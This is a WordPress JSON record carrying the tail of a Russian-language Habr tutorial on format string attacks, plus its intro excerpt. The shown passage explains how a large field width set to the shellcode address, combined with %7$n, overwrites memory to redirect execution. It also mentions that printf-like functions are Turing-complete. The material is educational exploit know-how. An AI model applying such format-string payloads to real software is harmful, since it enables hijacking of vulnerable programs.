\u0434\u043b\u0438\u043d\u043d\u043e\u0439 \u043f\u043e\u043b\u044f <b>134513876<\/b>(\u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u0448\u0435\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430). \u0427\u0442\u043e \u0442\u0430\u043c \u0432\u044b\u0432\u0435\u0434\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u0438\u043c\u0435\u0435\u0442, \u0433\u043b\u0430\u0432\u043d\u043e\u0435 \u2014 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.<\/p>\n<p>  <b>%7$n<\/b> \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 7 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442. \u0417\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043e\u043d \u043a\u0430\u043a \u0440\u0430\u0437 \u0442\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u044b \u0432\u044b\u0432\u0435\u043b\u0438, \u0442.\u0435. \u0430\u0434\u0440\u0435\u0441 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430.<\/p>\n<h2>\u0412 \u0437\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438<\/h2>\n<p>  \u041a\u0430\u043a \u0432\u044b \u0443\u0436\u0435 \u043c\u043e\u0433\u043b\u0438 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, printf()-like \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0442 \u043a\u043e\u043b\u043e\u0441\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u043e\u0449\u044c\u044e. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e\u0439, \u0438\u0431\u043e \u043a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043e\u043d\u0438 \u0438 \u0435\u0449\u0435 <a href=\"http:\/\/nebelwelt.net\/publications\/files\/15SEC.pdf\">\u0442\u044c\u044e\u0440\u0438\u043d\u0433-\u043f\u043e\u043b\u043d\u044b\u0435<\/a>, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0441\u0435, \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0443\u0433\u043e\u0434\u043d\u043e \u0445\u0430\u043a\u0435\u0440\u0443.<\/p>\n<p>  \u041a\u0430\u043a? \u0414\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u044d\u0442\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u0438\u043d\u043d\u044b\u043c \u0438 \u0441\u043b\u043e\u0436\u043d\u044b\u043c\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0442\u044f\u043c\u0438, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u0438\u0433\u0440\u0430\u0442\u044c\u0441\u044f <a href=\"https:\/\/github.com\/HexHive\/printbf\">\u0432\u043e\u0442 \u0442\u0443\u0442<\/a>. \u041e\u043d\u0438 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e brainfuck \u043a\u043e\u0434\u0430 \u0432 format-string \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438. \u0422\u0430\u043c \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0432\u0440\u043e\u0434\u0435 \u0447\u0438\u0441\u0435\u043b \u0444\u0438\u0431\u043e\u043d\u0430\u0447\u0447\u0438, 99 \u0431\u0443\u0442\u044b\u043b\u043e\u043a \u043f\u0438\u0432\u0430 \u0438 \u043c\u043d\u043e\u0433\u043e \u0447\u0435\u0433\u043e \u0435\u0449\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e.       <\/p>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/274329\/\"> http:\/\/habrahabr.ru\/post\/274329\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>       <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/8d8\/b54\/5fa\/8d8b545fa7d245b593d3735f72f3f63f.png\"\/><\/p>\n<h3>Intro<\/h3>\n<p>  \u041a \u0441\u0432\u043e\u0435\u043c\u0443 \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u044e \u043d\u0435 \u043d\u0430\u0448\u0435\u043b \u0441\u0442\u0430\u0442\u0435\u0439 \u043d\u0430 \u0445\u0430\u0431\u0440\u0435 \u043f\u043e \u044d\u0442\u043e\u0439 \u0442\u0435\u043c\u0435 \u0438 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u044f \u0445\u043e\u0442\u0435\u043b \u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u0435\u043b. \u0412 \u043d\u0435\u0439 \u044f \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u044e\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0434\u043e\u0445\u043e\u0434\u0447\u0438\u0432\u043e \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u043e <a href=\"https:\/\/en.wikipedia.org\/wiki\/Uncontrolled_format_string\">Format String Attacks<\/a>, \u043e\u0434\u043d\u0430\u043a\u043e \u0441 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f\u043c\u0438. \u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u043e\u043d\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u044e\u0442\u0441\u044f, \u043d\u043e \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445 \u0437\u0430\u0446\u0438\u043a\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u0430\u043c\u044b\u0445 \u0441\u0442\u043e\u0439\u043a\u0438\u0445, \u0434\u043e\u043b\u0438\u0441\u0442\u0430\u0432\u0448\u0438\u0445 \u0434\u043e \u043a\u043e\u043d\u0446\u0430, \u043f\u043e\u043c\u0438\u043c\u043e \u0431\u0435\u0441\u0446\u0435\u043d\u043d\u044b\u0445 \u0437\u043d\u0430\u043d\u0438\u0439 \u0436\u0434\u0435\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0431\u043e\u043d\u0443\u0441.   <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-271398","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/271398","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=271398"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/271398\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=271398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=271398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=271398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}